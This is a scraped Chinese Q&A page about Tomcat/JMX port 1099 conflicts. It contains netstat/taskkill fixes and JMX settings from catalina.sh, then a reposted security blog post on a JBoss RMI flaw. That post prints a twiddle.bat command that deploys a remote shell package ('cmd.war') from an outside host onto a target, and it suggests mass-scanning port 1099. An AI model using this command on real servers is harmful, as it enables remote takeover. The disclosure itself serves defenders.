jvm的时候,1099端口被占用能通,为什么远程连接不上

启动tomcat时 错误: 代理抛出异常 : java.rmi.server.ExportException: Port already in use: 1099的解决办法 | 网站架构
启动tomcat时 错误: 代理抛出异常 : java.rmi.server.ExportException: Port already in use: 1099的解决办法
一.问题描述
  今天一来公司,在IntelliJ IDEA 中启动Tomcat服务器时就出现了如下图所示的错误:
  错误: 代理抛出异常错误: java.rmi.server.ExportException: Port already in use: 1099; nested exception is: java.net.BindException: Address already in use: JVM_Bind
  这里说的是1099端口被其它进程占用了.
二.解决办法
  找出占用1099端口的进程,进入windows命令,查看什么进程占用了1099端口
  使用命令:netstat -aon|findstr 1099 找出占用1099端口的进程,如下图所示:
  然后关闭占用该端口的进程:taskkill -f -pid 3756
  这样就可以正常启动Tomcat了.问题顺利解决了。
下面是小编遇到的Linux下tomcat启动报错:portalreadyinuse的一问题,给大家分享下解决办法。
导致该问题的原因很多,标题说明不了具体问题。
在此仅说下我的操作,遇到的问题及其解决方法,希望能起到抛砖引玉的作用。
启动tomcat,报错如下:
Error: Exception thrown by the agent : java.rmi.server.ExportException: Port already in use: 7800; nested exception is:
java.net.BindException: Address already in use
检查了${TOMCAT_HOME}/conf/server.xml,context.xml,web.xml等配置文件,未发现配置7800端口的地方。
于是google搜索,一篇文章给了我提示:https://bowerstudios.com/node/636
于是从 ${TOMCAT_HOME}/bin/catalina.sh 启动文件中找到了答案。
JAVA_OPTS="-server -Xms2048m -Xmx2048m -XX:PermSize=512m -XX:MaxPermSize=512m -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.pwd.file=/opt/app/appcode/jmxremote.password -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=7803"
分析了一下,因为tomcat不是由我配置,本人仅维护而已,从而不能全部掌握安装人员的配置精髓。2被浏览782分享邀请回答暂时还没有回答,开始写第一个回答by 空虚浪子心 http://www.inbreak.net 微博:http://t.qq.com/javasecurity
鸟哥前几天发我一篇文章,是个java的漏洞,讲的是1099端口可以远程方法调用的事情。
我突然想起来,当初给XCON2012的时候,因“忘记了”所以没有提到的一个问题,是个JBOSS远程代码执行的漏洞。国内貌似没有看到翻译和使用指南。时间过了这么久,居然真的就忘记了。
其原理和EJBinvoker那个差不多,话说前几天放出来一个EJBinvoker来,其实也是老漏洞,都是当初被一起放出来,EXP打击的地方,只是url不同,但是国内没看到“使用指南”的漏洞。以至于很多人不会用。
使用指南如下,有啥不会Google。
漏洞详情:
twiddle.bat -s jnp://www.target.net:1099 invoke jboss.system:service=MainDeployer deploy http://www.inbreak.net/cmd.war
事实上这个本来就在某篇老外的文章里的,和其他几个JBOSS问题都一起的。
意思是远程部署一个war上去,具体原理,和 EJBInvokerServlet / JMXInvokerServlet 基本一致,扫描特征也基本一致。
所以,可以批量的扫描1099端口。
此外,JBOSS的4444端口,看起来也不是好鸟,没时间分析,坐等答案。
我觉得国内安全圈最悲哀的莫过于大多数情况下“利用工具==新漏洞”,所以“exp==漏洞详情”。
修补建议:
invoker删除了,再把1099关闭就好。
http://www.inbreak.net/?p=512
by 空虚浪子心 http://www.inbreak.net 微博:http://t.qq.com/javasecurity& & & & 鸟哥前几天发我一篇文章,是个java的漏洞,讲的是1099端口可以远程方法调用的事情。& & 我突然想起来,当初给XCON2012的时候,因&忘记了&所以没有提到的一个问题,是个JBOSS远程代码执行的漏洞。国内貌似没有看到……
声明:该文章系网友上传分享,此内容仅代表网友个人经验或观点,不代表本网站立场和观点;若未进行原创声明,则表明该文章系转载自互联网;若该文章内容涉嫌侵权,请及时向
论文写作技巧
上一篇:下一篇:
相关经验教程博主最新文章
博主热门文章
您举报文章:
举报原因:
原文地址:
原因补充:
(最多只允许输入30个字)

我要回帖

更多关于 tomcat 1099端口 的文章

 

随机推荐